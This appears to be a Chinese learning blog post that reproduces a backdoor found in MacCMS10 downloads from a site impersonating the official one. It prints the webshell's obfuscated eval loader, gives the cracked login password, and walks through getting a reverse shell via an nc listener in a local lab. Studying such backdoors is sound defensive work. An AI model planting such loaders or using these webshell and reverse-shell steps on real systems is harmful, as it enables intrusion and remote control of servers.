(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

 

该复现参考网络中的文章,该漏洞复现仅仅是为了学习交流,严禁非法使用!!!

 

一、事件背景

Maccms网站:基于PHP+MYSQL环境下运行的完善而强大的快速建站系统,最近Tools上有人曝出有一个冒充了苹果CMS官网的网站提供的MacCMS10存在后门,冒充网站http://www.maccmsv10.com/download.html

cms:内容管理系统

 

二、漏洞分析

1.在冒充的“苹果官网”下载MacCMS10版本后,打开源码,找到maccms10.zip\extend\Qcloud\Sms\Sms.php、maccms10.zip\extend\upyun\src\Upyun\Api\Format.php

  • 其中Smsphp和Format.php的后门木马是一样的,找出一个进行分析

 1 <?php
 2 error_reporting(E_ERROR);//报错
 3 @ini_set('display_errors','Off');//做初始化环境
 4 @ini_set('max_execution_time',20000);
 5 @ini_set('memory_limit','256M');
 6 header("content-Type: text/html; charset=utf-8");//设置编码
 7 $password = "0d41c75e2ab34a3740834cdd7e066d90";//32位,MD5加密的密码,解密后为:WorldFilledWithLove
 8 function s(){
 9     $str = "编码之后的恶意代码";
10     $str = str_rot13($str);//对恶意代码进行ROT13编码
11     m($str);
12 }
13 function m($str){
14     global $password;//全局变量
15     $jj = '';
16     eval($jj.pack('H*',$str).$jj);//对混淆的PHP代码进行解码(使用的是pack函数),解码之后的代码进行eval函数的解析
17 }
18 s();//调用s函数
19 ?>
  • 执行下面的代码即可看到PHP+HTML编写的恶意代码
1 <?php
2 $str = "编码之后的恶意代码";
3 $str = str_rot13($str);
4 echo pack('H*',$str);

2.将网站源码移动到PhpStudy的Web根目录下,打开PhpStudy,开启Apache服务,使用密码访问

http://127.0.0.1/maccms10/extend/upyun/src/Upyun/Api/Format.php或http://127.0.0.1/maccms10/extend/Qcloud/Sms/Sms.php,可以看到以下界面,使用解密之后的密码WorldFilledWithLove进行登录

  • 这里我单独将有后门的文件直接移动到了Web根目录下,访问的地址就为127.0.0.1/Format.php

  • 点击#Login进入以下界面

3.由上图可以看到,这是个大马,即有很多功能的木马,如,执行SQL、执行命令、反弹端口等,对其中几个功能进行测试

4.测试反弹端口,使用Kali虚拟机作为攻击者,本地机作为靶机

  • 填完反弹地址和端口后不要点击反弹,反弹地址为Kali的IP

5.打开Kali,使用NC监听后,点击反弹

1 nc -lvvp 7777  开启监听端口7777
2     l  本地
3     vv  详细信息
4     p  端口

  • 点击反弹后,就可以获得靶机的shell,输入系统命令进行测试,复现成功!!!
    • 反弹shell:将目标机上的终端或解析器或者shell反弹到攻击者的电脑中,需要攻击者提前监听端口

6.使用NC监听,不稳定,很容易关闭监听,这时再次打开浏览器,就会发现报错信息,这个就是error_reporting(E_ERROR);命令所报的错误